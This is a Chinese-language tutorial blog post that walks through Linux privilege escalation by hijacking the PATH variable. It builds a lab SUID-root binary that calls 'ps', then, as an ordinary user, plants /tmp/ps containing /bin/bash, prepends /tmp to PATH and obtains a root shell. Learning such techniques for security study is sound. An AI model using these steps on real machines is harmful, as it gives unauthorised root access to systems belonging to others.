利用PATH环境变量 - 提升linux权限~👻
利用PATH提升linux权限
参考地址:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
这篇文章是我学习大佬的博客,加上自己的理解写的,大佬写的更详细,总共写了4种方法,但是在我看来这都是一种方法,所有我加上我浅薄的理解,总结了一个方法。
1.介绍
PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定存储所有可执行程序的所有 bin 和 sbin 目录。当用户在终端上运行任何命令时,它会请求 shell 在 PATH 变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有 /sbin 和 /usr/sbin 条目,以便轻松执行系统管理命令。
借助echo 命令查看相关用户的路径非常简单。
echo $PATH
如果你注意到'.' 在环境 PATH 变量中,这意味着登录的用户可以从当前目录执行二进制文件/脚本,这对于攻击者来说是一种提升 root 权限的极好技术。这是由于编写程序时缺乏注意,因此管理员没有指定程序的完整路径。
个人理解:
就是在/bin/,/sbin/目录下面的命令我们可以在任何目录下面直接调用,不需要加上绝对路径,比如cat,echo,id,
ps,ls,vim,你会发现这些都在/usr/bin/ 或者/usr/sbin/目录下面,所有你调用这些命令不需要加上绝对路径,可
以直接调用,这篇文章说的就是改写这些命令进行覆盖原来的命令,比如改写一个ps覆盖原来调用的/usr/bin/ps这个系
统命令,改写的ps里面我们写上我们的内容,然后进行覆盖去执行,达到提权的目的。(现在没看懂没关系,可能我表达
不是很好,往后看你就都明白了!)
2.创建测试文件demo.c
我们现在目前是root权限:
我们进入/home/tzf目录下面创建一个新目录script,然后在这个目录下面写一个c程序,这个c程序里面会调用一个系
统命令ps(当然了!,你也可以调用echo,cat,ls,vim随便哪一个系统命令都可以,大佬的文章写了四个命令,我这里
就讲解这一个吧,其他的用法大同小异,大家可以去膜拜膜拜大佬写的!)
命令:
mkdir script
cd script
touch demo.c
vim demo.c
demo.c 内容:
void main()
{
setuid(0);
setgid(0);
system("ps");
}
不好意思,这里忘记切换进去script文件夹了,在哪个文件夹下面都一样的其实。
正如您在我们的 demo.c 文件中所观察到的,我们正在调用 ps 命令(进程状态),它是系统二进制文件。跟ls,cat,vim,echo
都是一样的。
3.编译demo.c文件并加上权限
gcc demo.c -o shell
chmod u+s shell
ls -al
我们可以看到现在shell就是demo.c经过编译得到的二进制文件,demo.c的内容就是调用系统命令ps,然后shell这个二进制文件他的用户是root,但是普通用户也是可以以root权限去执行二进制文件的,因为我们加了s权限。
关于chmod u+s命令的解释:https://www.cnblogs.com/bruce1992/p/14307745.html
现在我们切换到普通用户tzf,就是说我们已普通用户去执行shell这个文件是用的root权限去执行的,这么说大家应该能理解。我们发现shell它会去调用ps这个命令。我们现在可以看到ps这个命令现在是在/usr/bin/目录下面的,就是说我们现在执行./shell这个文件是调用的/usr/bin/ps这个命令,后面接着看。
4.提权
首先,您需要破坏目标系统,然后进入提权阶段。假设您通过 ssh 成功登录到受害者的机器。然后不用浪费时间,在 Find 命令的帮助下搜索具有 SUID 或 4000 权限的文件。
find / -perm -u=s -type f 2>/dev/null
因此在上述命令的帮助下,攻击者可以枚举任何可执行文件,在这里我们还可以观察到/home/tzf/script/shell具有 suid 权限。suid权限就是我们刚刚加的u+s。
可以看到这个就是我们刚刚写进去的二进制文件shell
这里我就以普通用户tzf做演示,就当我通过ssh连上tzf这个普通用户然后提权到root用户。
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/tzf/script
./shell
whoami
5.个人理解
可以看到第三步的时候我们执行./shell这个命令调用的ps是/usr/bin/ps这个命令,但是最后我们在第四步执行的./shell这个命令,此时ps这个命令的绝对路径变成了/tmp/ps,然后/tmp/ps是我们自己创建的一个文件,里面内容是/bin/bash,所有我们在第四步是以root权限去执行的./shell这个命令,同时也是以root权限去执行的ps命令,也就是执行的/bin/bash,所以我们成功提权到了root的终端,成功提权。
利用PATH环境变量 - 提升linux权限~👻的更多相关文章
- linux下.bashrc文件 /PATH环境变量修改 /提示符修改
1) .bashrc文件 在linux系统普通用户目录(cd /home/xxx)或root用户目录(cd /root)下,用指令ls -al可以看到4个隐藏文件, .bash_history 记 ...
- Linux下通过源码编译安装程序(configure/make/make install的作用,然后在/etc/profile文件里修改PATH环境变量)
一.程序的组成部分 Linux下程序大都是由以下几部分组成: 二进制文件:也就是可以运行的程序文件 库文件:就是通常我们见到的lib目录下的文件 配置文件:这个不必多说,都知道 帮助文档:通常是我们在 ...
- Linux系列(11) - PATH环境变量
前言 在Liunx当中要想执行"执行脚本"."执行文件"或者"执行命令",需要用绝对路径:因此环境变量就出来了,将路径放到环境变量中,环境变 ...
- Linux系统修改PATH环境变量方法
在Linux安装一些软件通常要添加路径环境变量PATH.PATH环境变量通俗的讲就是把程序的路径"备案"到系统中,这样执行这些程序时就不需要输入完整路径,直接在bash输入程序名就 ...
- linux下查看和添加PATH环境变量
linux下查看和添加PATH环境变量 $PATH:决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻编译链接. 编辑你的 PA ...
- Linux常用指令---$PATH (环境变量)
实例一:设置临时环境变量 在linux服务器上设置临时环境变量,当退出shell环境时,自动销毁 export JAVA_HOME=/usr/java/jdk1.6.0_32 export class ...
- linux可执行文件添加到PATH环境变量的方法
linux命令行下面执行某个命令的时候,首先保证该命令是否存在,若存在,但输入命令的时候若仍提示:command not found 这个时候就的查看PATH环境变量的设置了,当前命令是否存在于PAT ...
- Linux中PATH环境变量的作用和使用方法
关于PATH的作用:PATH说简单点就是一个字符串变量,当输入命令的时候LINUX会去查找PATH里面记录的路径.比如在根目录/下可以输入命令ls,在/usr目录下也可以输入ls,但其实ls这个命令根 ...
- linux 下PATH环境变量
环境变量简介 什么是环境变量呢?简要的说,就是指定一个目录,运行软件的时候,相关的程序将会按照该目录寻找相关文件. 在linux系统下,如果你下载并安装了应用程序,很有可能在键入它的名称时出现&quo ...
随机推荐
- IPython中也要保持优雅(DRY原则)
What is IPython? IPython provides a rich architecture for interactive computing with: A powerful int ...
- 25道经典Java算法题
题目:古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子,小兔子长到第三个月后每个月又生一对兔子,假如兔子都不死,问每个月的兔子总数为多少? //这是一个菲波拉契数列问题 [Java] 纯 ...
- centos7 误用 cat 打开了一个很大的文件
2021-09-01 1. 问题描述 刚才看到一个文件,出于好奇我就直接用 cat 命令查看了一下,结果文件巨大,一直刷屏停不下来 2. 解决方法 克隆一个窗口,抓一下这个 cat 进程,再使用 ki ...
- client-go实战之二:RESTClient
欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...
- Spring(二)——IOC
一.入门 1.案例 1 public class Student { 2 3 private String name; 4 5 public Student() { 6 System.out.prin ...
- docker快速创建轻量级的可移植的容器(一)
系列其他内容 docker快速创建轻量级的可移植的容器✓ docker&flask快速构建服务接口 docker&uwsgi高性能WSGI服务器生产部署必备 docker&gu ...
- 写了一年golang,来聊聊进程、线程与协程
本文已收录 https://github.com/lkxiaolou/lkxiaolou 欢迎star. 进程 在早期的单任务计算机中,用户一次只能提交一个作业,独享系统的全部资源,同时也只能干一件事 ...
- Powershell配合word伪装木马执行
环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...
- 测试平台系列(55) 引入AceEditor(代码编辑器)
大家好,我是米洛,求三连!求关注测试开发坑货! 回顾 我们上一节已经写好了左侧数据表目录,今天继续完成sql编辑器的部分. 调研组件 monaco 因为我们的项目用的是React,市面上很多编辑器都是 ...
- 定时器及PWM
1 定时器 1.1 定时器分类 对于STM32来说,定时器可分为基本定时器.通用定时器.高级定时器三类,后者包括前者的全部功能.以stm32f1系列为例,TIM6和TIM7为基本定时器,TIM2~TI ...